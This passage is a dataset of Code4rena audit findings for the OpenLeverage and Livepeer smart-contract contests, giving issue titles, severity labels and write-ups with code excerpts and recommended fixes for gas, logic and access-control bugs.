parameter"}, {"title": "Not verified input", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/49", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Not verified input"}, {"title": "Two arrays length mismatch", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/46", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-openleverage-findings", "body": "Two arrays length mismatch"}, {"title": "Never used parameters", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/45", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Never used parameters"}, {"title": "In the following public update functions no value is returned", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/44", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "In the following public update functions no value is returned"}, {"title": "Assert instead require to validate user inputs", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/43", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-openleverage-findings", "body": "Assert instead require to validate user inputs"}, {"title": "Named return issue", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/39", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Named return issue"}, {"title": "Require with not comprehensive message", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/31", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-openleverage-findings", "body": "Require with not comprehensive message"}, {"title": "Require with empty message", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/30", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Require with empty message"}, {"title": "Use calldata instead of memory", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/29", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Use calldata instead of memory"}, {"title": "Inline one time use functions", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/26", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Inline one time use functions"}, {"title": "Mult instead div in compares", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/23", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Mult instead div in compares"}, {"title": "Unused inheritance", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/22", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-openleverage-findings", "body": "Unused inheritance"}, {"title": "Use != 0 instead of > 0", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/21", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Use != 0 instead of > 0"}, {"title": "Unnecessary equals boolean", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Unnecessary equals boolean"}, {"title": "Check if amount is not zero to save gas", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/19", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Check if amount is not zero to save gas"}, {"title": "Upgrade pragma to at least 0.8.4", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Upgrade pragma to at least 0.8.4"}, {"title": "Caching array length can save gas", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/15", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-openleverage-findings", "body": "Caching array length can save gas"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "State variables that could be set immutable", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/11", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "State variables that could be set immutable"}, {"title": "Short the following require messages", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Short the following require messages"}, {"title": "Use bytes32 instead of string to save gas whenever possible", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-openleverage-findings", "body": "Use bytes32 instead of string to save gas whenever possible"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2022-01-openleverage-findings/issues/2", "labels": ["bug", "0 (Non-critical)"], "target": "2022-01-openleverage-findings", "body": "Unused imports"}, {"title": "Gas: Use `msg.sender` directly instead of caching it in a variable", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/244", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Gas: Use `msg.sender` directly instead of caching it in a variable"}, {"title": "Gas: use `msg.sender` instead of OpenZeppelin's `_msgSender()` when GSN capabilities aren't used", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/243", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Dravee # Vulnerability details ## Impact `msg.sender` costs 2 gas (CALLER opcode). `_msgSender()` represents the following: ``` function _msgSender() internal view virtual returns (address payable) { return msg.sender; } ``` When no GSN capabilities are used: `msg.sender` is enough. See https://docs.openzeppelin.com/contracts/2.x/gsn for more information about GSN capabilities. ## Proof of Concept Instances include: ``` arbitrum-lpt-bridge\\contracts\\L1\\escrow\\L1Escrow.sol:18: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); arbitrum-lpt-bridge\\contracts\\L1\\gateway\\L1Migrator.sol:133: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); arbitrum-lpt-bridge\\contracts\\L2\\gateway\\L2Migrator.sol:83: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); arbitrum-lpt-bridge\\contracts\\L2\\token\\LivepeerToken.sol:13: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); arbitrum-lpt-bridge\\contracts\\ControlledGateway.sol:19: _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Replace `_msgSender()` with `msg.sender` "}, {"title": "Fund loss when insufficient call value to cover fee", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/238", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Fund can be lost if the L1 call value provided is insufficient to cover `_maxSubmissionCost`, or stuck if insufficient to cover `_maxSubmissionCost + (_maxGas * _gasPriceBid)`. ## Proof of Concept `outboundTransfer` in `L1LPTGateway` does not check if the call value is sufficient, if it is `< _maxSubmissionCost` the retryable ticket creation will fail and fund is lost; if it is `<_maxSubmissionCost + (_maxGas * _gasPriceBid)` the ticket would require manual execution. https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1LPTGateway.sol#L80 ``` function outboundTransfer( address _l1Token, address _to, uint256 _amount, uint256 _maxGas, uint256 _gasPriceBid, bytes calldata _data ) external payable override whenNotPaused returns (bytes memory) { require(_l1Token == l1Lpt, \"TOKEN_NOT_LPT\"); // nested scope to avoid stack too deep errors address from; uint256 seqNum; bytes memory extraData; { uint256 maxSubmissionCost; (from, maxSubmissionCost, extraData) = parseOutboundData(_data); require(extraData.length == 0, \"CALL_HOOK_DATA_NOT_ALLOWED\"); // transfer tokens to escrow TokenLike(_l1Token).transferFrom(from, l1LPTEscrow, _amount); bytes memory outboundCalldata = getOutboundCalldata( _l1Token, from, _to, _amount, extraData ); seqNum = sendTxToL2( l2Counterpart, from, maxSubmissionCost, _maxGas, _gasPriceBid, outboundCalldata ); } emit DepositInitiated(_l1Token, from, _to, seqNum, _amount); return abi.encode(seqNum); } ``` ## Recommended Mitigation Steps Add check similar to the one used in `L1GatewayRouter` provided by Arbitrum team https://github.com/OffchainLabs/arbitrum/blob/b8366005a697000dda1f57a78a7bdb2313db8fe2/packages/arb-bridge-peripherals/contracts/tokenbridge/ethereum/gateway/L1GatewayRouter.sol#L236 ``` uint256 expectedEth = _maxSubmissionCost + (_maxGas * _gasPriceBid); require(_maxSubmissionCost > 0, \"NO_SUBMISSION_COST\"); require(msg.value == expectedEth, \"WRONG_ETH_VALUE\"); ``` "}, {"title": "Migrate old balance on setToken", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/234", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle pauliax # Vulnerability details ## Impact In contract BridgeMinter function setToken, it just sets the new tokenAddr, but it does not process the old token balance leaving it stuck in the contract. I think that setToken could also migrate the old balance somewhere before updating the token address. I can even suggest adding token rescue functions to the contracts that may come in handy in such cases or if someone accidentally sends the tokens directly to the contract. An owner can rescue the tokens if the token is not protected (e.g. intended to be held in the contract). ## Recommended Mitigation Steps An example implementation that could help to rescue old token balance: ```solidity function withdrawLPTToL1Migrator(address _tokenAddr, address _recipient) external onlyControllerOwner returns (uint256) { require(_tokenAddr != tokenAddr, \"protected\"); IERC20 token = IERC20(_tokenAddr); uint256 balance = token.balanceOf(address(this)); token.transfer(_recipient, balance); return balance; } ``` "}, {"title": "Use abi.encodePacked for gas optimization", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/225", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Use abi.encodePacked for gas optimization"}, {"title": "Don't assign default values", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/215", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle 0x0x0x # Vulnerability details ## Concept When a variable is declared solidity assigns the default value. In case the contract assigns the value again, it costs extra gas. Example:`uint x = 0` costs more gas than `uint x` without having any different functionality. Scope ``` ./protocol/bonding/libraries/EarningsPool.sol:84: uint256 delegatorFees = 0; ./protocol/bonding/libraries/EarningsPool.sol:85: uint256 transcoderFees = 0; ./protocol/bonding/libraries/EarningsPool.sol:115: uint256 delegatorRewards = 0; ./protocol/bonding/libraries/EarningsPool.sol:116: uint256 transcoderRewards = 0; ./protocol/bonding/libraries/EarningsPool.sol:189: uint256 transcoderFees = 0; ./protocol/bonding/libraries/EarningsPool.sol:190: uint256 delegatorFees = 0; ./protocol/bonding/libraries/EarningsPool.sol:217: uint256 transcoderRewards = 0; ./protocol/bonding/libraries/EarningsPool.sol:218: uint256 delegatorRewards = 0; ./protocol/pm/mixins/MixinTicketBrokerCore.sol:121: uint256 amountToTransfer = 0; ./protocol/token/Minter.sol:223: uint256 currentBondingRate = 0; ./arbitrum-lpt-bridge/L1/gateway/L1Migrator.sol:471: uint256 total = 0; ./protocol/zeppelin/MintableToken.sol:17: bool public mintingFinished = false; ./protocol/zeppelin/Pausable.sol:13: bool public paused = false; ``` "}, {"title": "Don't use deprecated library functions", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/207", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle byterocket # Vulnerability details ## Impact The `_setupRole` function in OpenZeppelin's `AccessControl` contract is marked as deprecated in favor of `_grantRole`. See [here](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/AccessControl.sol#L183). Following contracts use the deprecated `_setupRole` in their constructor: ``` arbitrum-lpt-bridge: - ControlledGateway.sol - L1/escrow/L1Escrow.sol - L2/gateway/L2Migrator.sol - token/LivepeerToken.sol - L1/gateway/L1Migrator.sol ``` ## Recommended Mitigation Steps Refactor the contracts constructor's to use `_grantRole` instead of `_setupRole`. "}, {"title": "[WP-H5] `L1Migrator.sol#migrateETH()` dose not send `bridgeMinter`'s ETH to L2 causing ETH get frozen in the contract", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/205", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details Per the `arb-bridge-eth` code: > all msg.value will deposited to callValueRefundAddress on L2 https://github.com/OffchainLabs/arbitrum/blob/78118ba205854374ed280a27415cb62c37847f72/packages/arb-bridge-eth/contracts/bridge/Inbox.sol#L313 https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1ArbitrumMessenger.sol#L65-L74 ```solidity uint256 seqNum = inbox.createRetryableTicket{value: _l1CallValue}( target, _l2CallValue, maxSubmissionCost, from, from, maxGas, gasPriceBid, data ); ``` At L308-L309, ETH held by `BridgeMinter` is withdrawn to L1Migrator: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L308-L309 ```solidity uint256 amount = IBridgeMinter(bridgeMinterAddr) .withdrawETHToL1Migrator(); ``` However, when calling `sendTxToL2()` the parameter `_l1CallValue` is only the `msg.value`, therefore, the ETH transferred to L2 does not include any funds from `bridgeMinter`. https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L318-L327 ```solidity sendTxToL2( l2MigratorAddr, address(this), // L2 alias of this contract will receive refunds msg.value, amount, _maxSubmissionCost, _maxGas, _gasPriceBid, \"\" ) ``` As a result, due to lack of funds, `call` with value = amount to `l2MigratorAddr` will always fail on L2. Since there is no other way to send ETH to L2, all the ETH from `bridgeMinter` is now frozen in the contract. ### Recommendation Change to: ```solidity sendTxToL2( l2MigratorAddr, address(this), // L2 alias of this contract will receive refunds msg.value + amount, // the `amount` withdrawn from BridgeMinter should be added amount, _maxSubmissionCost, _maxGas, _gasPriceBid, \"\" ) ``` "}, {"title": "Unnecessary checked arithmetic in for loops", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/204", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "Unnecessary checked arithmetic in for loops"}, {"title": "`L1LPTGateway`, `L2LPTGateway` should start off paused after deployed", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/203", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details Per the document: https://github.com/livepeer/LIPs/blob/master/LIPs/LIP-73.md#upgrade-process > *Phase 1* > > - The L1 RoundsManager will be upgraded to disable round initialization at `LIP_73_ROUND` > - During this phase, protocol transactions will be executed normally > - During this phase, the following contracts will be deployed: > - Protocol contracts on L2 > - Migrator contracts on L1 and L2 > - LPT bridge contracts on L1 and L2 > - ***All of these contracts will start off paused*** However, the current implementation of `L1LPTGateway`, `L2LPTGateway` are not automatically paused on deployment. We recommend adding `_pause()` to the end of the `constructor()` in `L1LPTGateway`, `L2LPTGateway`, like the constructor of [L1Migrator.sol#L143](https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L143-L143), and `unpause()` when Phase 2 starts. This will help avoid tx to happen in an intermediate state between Phase1 and Phase 2, which may cause certain txs to fail, for instance: When in Phase 1, `L1LPTGateway` cant calls `bridgeMint()` on the `BridgeMinter` to mint LPT to the user, as L1 Minter have not `migrateToNewMinter()` to `BridgeMinter` yet. If a user in L2 tries to move `LPT` from L2 to L1, their tx may fail. "}, {"title": "[WP-M4] Unable to use `L2GatewayRouter` to withdraw LPT from L2 to L1, as `L2LPTGateway` does not implement `L2GatewayRouter` expected method", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/202", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details Per the document: https://github.com/code-423n4/2022-01-livepeer#l2---l1-lpt-withdrawal > The following occurs when LPT is withdrawn from L2 to L1: > The user initiates a withdrawal for X LPT. This can be done in two ways: a. Call outboundTransfer() on L2GatewayRouter which will call outboundTransfer() on L2LPTGateway b. Call outboundTransfer() directly on L2LPTGateway The method (a) described above won't work in the current implementation due to the missing interface on `L2LPTGateway`. When initiate a withdraw from the Arbitrum Gateway Router, `L2GatewayRouter` will call `outboundTransfer(address,address,uint256,uint256,uint256,bytes)` on `ITokenGateway(gateway)`: ```solidity function outboundTransfer( address _token, address _to, uint256 _amount, uint256 _maxGas, uint256 _gasPriceBid, bytes calldata _data ) external payable returns (bytes memory); ``` https://github.com/OffchainLabs/arbitrum/blob/b8366005a697000dda1f57a78a7bdb2313db8fe2/packages/arb-bridge-peripherals/contracts/tokenbridge/arbitrum/gateway/L2GatewayRouter.sol#L57-L64 ```solidity function outboundTransfer( address _l1Token, address _to, uint256 _amount, bytes calldata _data ) public payable returns (bytes memory) { return outboundTransfer(_l1Token, _to, _amount, 0, 0, _data); } ``` https://github.com/OffchainLabs/arbitrum/blob/b8366005a697000dda1f57a78a7bdb2313db8fe2/packages/arb-bridge-peripherals/contracts/tokenbridge/libraries/gateway/GatewayRouter.sol#L78-L102 ```solidity function outboundTransfer( address _token, address _to, uint256 _amount, uint256 _maxGas, uint256 _gasPriceBid, bytes calldata _data ) public payable virtual override returns (bytes memory) { address gateway = getGateway(_token); bytes memory gatewayData = GatewayMessageHandler.encodeFromRouterToGateway( msg.sender, _data ); emit TransferRouted(_token, msg.sender, _to, gateway); return ITokenGateway(gateway).outboundTransfer{ value: msg.value }( _token, _to, _amount, _maxGas, _gasPriceBid, gatewayData ); } ``` However, `L2LPTGateway` dose not implement `outboundTransfer(address,address,uint256,uint256,uint256,bytes)` but only `outboundTransfer(address,address,uint256,bytes)`: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2LPTGateway.sol#L65-L89 ```solidity function outboundTransfer( address _l1Token, address _to, uint256 _amount, bytes calldata _data ) public override whenNotPaused returns (bytes memory res) { // ... } ``` Therefore, the desired feature to withdraw LPT from L2 to L1 via Arbitrum Router will not be working properly. ## Recommendation Consider implementing the method used by Arbitrum Router. See also the implementation of L2DaiGateway by arbitrum-dai-bridge: https://github.com/makerdao/arbitrum-dai-bridge/blob/master/contracts/l2/L2DaiGateway.sol#L88-L95 "}, {"title": "The initialize function does not check for non-zero address and emit event", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/200", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle Jujic # Vulnerability details ## Impact The initialize function does not check if the `_bondingManager` are all non-zero addresses. If all the initialized `_bondingManager` happen to be 0, the contract will have to be redeployed. The contract are initialized, but their critical init parameters are not logged for any off-chain monitoring. ## Proof of Concept https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/pool/DelegatorPool.sol#L47-L51 ``` function initialize(address _bondingManager) public initializer { bondingManager = _bondingManager; migrator = msg.sender; initialStake = pendingStake(); } ``` Most contracts use initialize() functions instead of constructor given the delegatecall proxy pattern. While most of them emit an event in the critical initialize() functions to record the init parameters for off-chain monitoring and transparency reasons, DelegatorPool.sol not emit such an event in their initialize() function. ## Tools Used https://github.com/code-423n4/2021-06-pooltogether-findings/issues/68 ## Recommended Mitigation Steps Add check for zero address and emit event. "}, {"title": "[WP-H3] `L1Migrator.sol#migrateETH()` Improper implementation of `L1Migrator` causing `migrateETH()` always reverts, can lead to ETH in `BridgeMinter` getting stuck in the contract", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/198", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L1/gateway/L1Migrator.sol#L308-L310 ```solidity uint256 amount = IBridgeMinter(bridgeMinterAddr) .withdrawETHToL1Migrator(); ``` `L1Migrator.sol#migrateETH()` will call `IBridgeMinter(bridgeMinterAddr).withdrawETHToL1Migrator()` to withdraw ETH from `BridgeMinter`. However, the current implementation of `L1Migrator` is unable to receive ETH. https://github.com/livepeer/protocol/blob/20e7ebb86cdb4fe9285bf5fea02eb603e5d48805/contracts/token/BridgeMinter.sol#L94-L94 ```solidity (bool ok, ) = l1MigratorAddr.call.value(address(this).balance)(\"\"); ``` A contract receiving Ether must have at least one of the functions below: - `receive() external payable` - `fallback() external payable` `receive()` is called if `msg.data` is empty, otherwise `fallback()` is called. Because `L1Migrator` implement neither `receive()` or `fallback()`, the `call` at L94 will always revert. ## Impact All the ETH held by the `BridgeMinter` can get stuck in the contract. ## Recommandation Add `receive() external payable {}` in `L1Migrator`. "}, {"title": "Remove redundant `_setRoleAdmin()` can save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/196", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/token/LivepeerToken.sol#L12-L16 ```solidity constructor() ERC20(\"Livepeer Token\", \"LPT\") ERC20Permit(\"Livepeer Token\") { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setRoleAdmin(MINTER_ROLE, DEFAULT_ADMIN_ROLE); _setRoleAdmin(BURNER_ROLE, DEFAULT_ADMIN_ROLE); } ``` https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/ControlledGateway.sol#L18-L24 ```solidity constructor(address _l1Lpt, address _l2Lpt) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setRoleAdmin(GOVERNOR_ROLE, DEFAULT_ADMIN_ROLE); l1Lpt = _l1Lpt; l2Lpt = _l2Lpt; } ``` `constant DEFAULT_ADMIN_ROLE = 0x00` By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`. Therefore, `_setRoleAdmin(***_ROLE, DEFAULT_ADMIN_ROLE);` is redundant. Removing it will make the code simpler and save some gas. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/783ac759a902a7b4a218c2d026a77e6a26b6c42d/contracts/access/AccessControl.sol#L40-L43 ```solidity * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. ``` https://docs.openzeppelin.com/contracts/3.x/access-control#granting-and-revoking > AccessControl includes a special role, called DEFAULT_ADMIN_ROLE, which acts as the ***default admin role for all roles***. An account with this role will be able to manage any other role, unless _setRoleAdmin is used to select a new admin role. ### Recommendation Remove the redundant code. "}, {"title": "[WP-M2] `DEFAULT_ADMIN_ROLE` can approve arbitrary address to spend any amount from the `L1Escrow` contract", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/195", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "[WP-M2] `DEFAULT_ADMIN_ROLE` can approve arbitrary address to spend any amount from the `L1Escrow` contract"}, {"title": "[WP-M1] `BURNER_ROLE` can burn any amount of L2LivepeerToken from an arbitrary address", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/194", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/token/LivepeerToken.sol#L36-L43 ```solidity function burn(address _from, uint256 _amount) external override onlyRole(BURNER_ROLE) { _burn(_from, _amount); emit Burn(_from, _amount); } ``` Using the `burn()` function of `L2LivepeerToken`, an address with `BURNER_ROLE` can burn an arbitrary amount of tokens from any address. We believe this is unnecessary and poses a serious centralization risk. A malicious or compromised `BURNER_ROLE` address can take advantage of this, burn the balance of a Uniswap pool and effectively steal almost all the funds from the liquidity pool (eg, Uniswap LPT-WETH Pool). ### Recommendation Consider removing the `BURNER_ROLE` and change `burn()` function to: ```solidity function burn(uint256 _amount) external override { _burn(msg.sender, _amount); emit Burn(msg.sender, _amount); } ``` https://github.com/livepeer/arbitrum-lpt-bridge/blob/49cf5401b0514511675d781a1e29d6b0325cfe88/contracts/L2/gateway/L2LPTGateway.sol#L34-L45 `Mintable(l2Lpt).burn(from, _amount);` in `L2LPTGateway.sol#outboundTransfer()` should also be replaced with: ```solidity Mintable(l2Lpt).transferFrom(from, _amount); Mintable(l2Lpt).burn(_amount); ``` "}, {"title": "[WP-M0] `MINTER_ROLE` can be granted by the deployer of L2LivepeerToken and mint arbitrary amount of tokens", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/193", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "[WP-M0] `MINTER_ROLE` can be granted by the deployer of L2LivepeerToken and mint arbitrary amount of tokens"}, {"title": "redundant function argument", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-livepeer-findings", "body": "redundant function argument"}, {"title": "`DelegatorPool.sol#claim()` Inaccurate check of `claimedInitialStake < initialStake`", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/190", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation of `DelegatorPool.sol#claim()`, it first requires `claimedInitialStake < initialStake`, or it throws an error of `DelegatorPool#claim: FULLY_CLAIMED`. However, since it's an `onlyMigrator` function, the felicity of `_delegator` and `_stake` should be assured by the `Migrator` contract, otherwise, this `require` statement itself also can not prevent bad results caused by the wrong inputs. Furthermore, even if the purpose of this `require` statement is to make sure that `claimedInitialStake` can never surpass the `initialStake`, the expression should be `claimedInitialStake + _stake <= initialStake` instead of `claimedInitialStake < initialStake`. https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/pool/DelegatorPool.sol#L58-L93 ```solidity function claim(address _delegator, uint256 _stake) external onlyMigrator { require( claimedInitialStake < initialStake, \"DelegatorPool#claim: FULLY_CLAIMED\" ); // Calculate stake owed to delegator uint256 currTotalStake = pendingStake(); uint256 owedStake = (currTotalStake * _stake) / (initialStake - claimedInitialStake); // Calculate fees owed to delegator uint256 currTotalFees = pendingFees(); uint256 owedFees = (currTotalFees * _stake) / (initialStake - claimedInitialStake); // update claimed balance claimedInitialStake += _stake; // Transfer owed stake to the delegator transferBond(_delegator, owedStake); // Transfer owed fees to the delegator IBondingManager(bondingManager).withdrawFees( payable(_delegator), owedFees ); emit Claimed(_delegator, owedStake, owedFees); } ``` ## Recommandation Consider removing it or changing to: ```solidity require( claimedInitialStake + _stake <= initialStake, \"DelegatorPool#claim: FULLY_CLAIMED\" ); ``` "}, {"title": "Cache and read storage variables from the stack can save gas", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/184", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-01-livepeer-findings", "body": "Cache and read storage variables from the stack can save gas"}, {"title": "Using immutable variables rather than local variables is cheaper", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/180", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-livepeer-findings", "body": "Using immutable variables rather than local variables is cheaper"}, {"title": "Save Gas With The Unchecked Keyword (L2LPTDataCache.sol)", "html_url": "https://github.com/code-423n4/2022-01-livepeer-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-livepeer-findings", "body": "# Handle ye0lde # Vulnerability details ## Impact Save Gas With The Unchecked Keyword (L2LPTDataCache.sol) Redundant arithmetic underflow/overflow checks can be avoided when an underflow/overflow cannot happen. ## Proof of Concept The \"unchecked\" keyword can be applied here since there is an `if` statement before to ensure the arithmetic operations would not cause an integer underflow or overflow.: https://github.com/livepeer/arbitrum-lpt-bridge/blob/ebf68d11879c2798c5ec0735411b08d0bea4f287/contracts/L2/gateway/L2LPTDataCache.sol#L57-L69 Change the code to: ``` function decreaseL2SupplyFromL1(uint256 _amount) external onlyL2LPTGateway { // If there is a mass withdrawal from L2, _amount could exceed l2SupplyFromL1. // In this case, we just set l2SupplyFromL1 = 0 because there will be no more supply on L2 // that is from L1 and the excess (_amount - l2SupplyFromL1) is inflationary LPT that was // never from L1 in the first place. unchecked 